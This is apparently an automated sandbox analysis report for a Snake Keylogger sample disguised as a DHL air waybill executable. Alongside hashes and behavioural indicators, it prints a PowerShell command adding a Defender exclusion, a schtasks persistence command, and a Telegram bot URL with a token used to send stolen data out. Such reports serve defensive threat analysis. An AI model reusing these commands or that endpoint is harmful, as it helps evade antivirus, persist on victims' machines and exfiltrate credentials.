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Analysis
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max time kernel
88s -
max time network
146s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
02/03/2023, 11:30
Static task
static1
Behavioral task
behavioral1
Sample
DHL-AWB.exe
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
DHL-AWB.exe
Resource
win10v2004-20230220-en
General
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Target
DHL-AWB.exe
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Size
940KB
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MD5
eb685b3c297e9bf66dbdf5ce339b0938
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SHA1
e68ee19e34b4e050967630bff153eb27ad9bcab2
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SHA256
4cfe382fc05866c2087a5d003050a40fb1a1789f8547bd13956e8823d8cf61f8
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SHA512
5af08355a05edb7bd155cc8da39eb520f6041a27532cfb36b999b54a3363e29578f5b1b52d2c1b379c1a14d2c6694f00c7c02a205da02303e23d6cdb47a6f393
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SSDEEP
12288:LMuRADz1KGRbItu/8mqKgE8MLj3Ymjk97DuHh/UFxvpj5+YI61UBXEuJ2c1LwnIj:gfftg3CEmA7DehEYY9c0uRwn
Malware Config
Extracted
snakekeylogger
https://api.telegram.org/bot5896148323:AAEWgsVYxyCkhTyIZPTwudSGllkEoROCUk8/sendMessage?chat_id=6163418482
Signatures
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Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
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Snake Keylogger payload 1 IoCs
resource yara_rule behavioral2/memory/1828-147-0x0000000000400000-0x0000000000426000-memory.dmp family_snakekeylogger -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation DHL-AWB.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
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Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 DHL-AWB.exe Key opened \REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 DHL-AWB.exe Key opened \REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 DHL-AWB.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 72 checkip.dyndns.org -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1924 set thread context of 1828 1924 DHL-AWB.exe 101 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1932 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 21 IoCs
pid Process 1924 DHL-AWB.exe 1924 DHL-AWB.exe 1924 DHL-AWB.exe 1924 DHL-AWB.exe 1924 DHL-AWB.exe 1924 DHL-AWB.exe 1924 DHL-AWB.exe 1924 DHL-AWB.exe 1924 DHL-AWB.exe 1924 DHL-AWB.exe 1924 DHL-AWB.exe 1924 DHL-AWB.exe 1924 DHL-AWB.exe 1924 DHL-AWB.exe 1924 DHL-AWB.exe 1924 DHL-AWB.exe 1924 DHL-AWB.exe 3492 powershell.exe 1828 DHL-AWB.exe 3492 powershell.exe 1828 DHL-AWB.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 1924 DHL-AWB.exe Token: SeDebugPrivilege 3492 powershell.exe Token: SeDebugPrivilege 1828 DHL-AWB.exe -
Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 1924 wrote to memory of 3492 1924 DHL-AWB.exe 97 PID 1924 wrote to memory of 3492 1924 DHL-AWB.exe 97 PID 1924 wrote to memory of 3492 1924 DHL-AWB.exe 97 PID 1924 wrote to memory of 1932 1924 DHL-AWB.exe 99 PID 1924 wrote to memory of 1932 1924 DHL-AWB.exe 99 PID 1924 wrote to memory of 1932 1924 DHL-AWB.exe 99 PID 1924 wrote to memory of 1828 1924 DHL-AWB.exe 101 PID 1924 wrote to memory of 1828 1924 DHL-AWB.exe 101 PID 1924 wrote to memory of 1828 1924 DHL-AWB.exe 101 PID 1924 wrote to memory of 1828 1924 DHL-AWB.exe 101 PID 1924 wrote to memory of 1828 1924 DHL-AWB.exe 101 PID 1924 wrote to memory of 1828 1924 DHL-AWB.exe 101 PID 1924 wrote to memory of 1828 1924 DHL-AWB.exe 101 PID 1924 wrote to memory of 1828 1924 DHL-AWB.exe 101 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 DHL-AWB.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 DHL-AWB.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\DHL-AWB.exe"C:\Users\Admin\AppData\Local\Temp\DHL-AWB.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1924 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\CvDzsccuV.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3492
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C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\CvDzsccuV" /XML "C:\Users\Admin\AppData\Local\Temp\tmpA856.tmp"2⤵
- Creates scheduled task(s)
PID:1932
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C:\Users\Admin\AppData\Local\Temp\DHL-AWB.exe"C:\Users\Admin\AppData\Local\Temp\DHL-AWB.exe"2⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:1828
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
1KB
MD58ec831f3e3a3f77e4a7b9cd32b48384c
SHA1d83f09fd87c5bd86e045873c231c14836e76a05c
SHA2567667e538030e3f8ce2886e47a01af24cb0ea70528b1e821c5d8832c5076cb982
SHA51226bffa2406b66368bd412bf25869a792631455645992cdcade2dbc13a2e56fb546414a6a9223b94c96c38d89187add6678d4779a88b38b0c9e36be8527b213c3
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
1KB
MD573be993c0fdeb9547eefc2523e13e954
SHA1a91e273f7c2405c36adb71ac57beb05d861d7fb7
SHA256a99e068937c5ee8f34e9d6c69349f2805f90e7c27875f874d8eb8ca4b50d1ee9
SHA51295342b91d3affc063b5404ac2aa3055b653ef12e4501b75b35cc84b1e3f7e45d9459fef225477d638a7511da5522322f9363207678fbd00e3a5599ee20f11976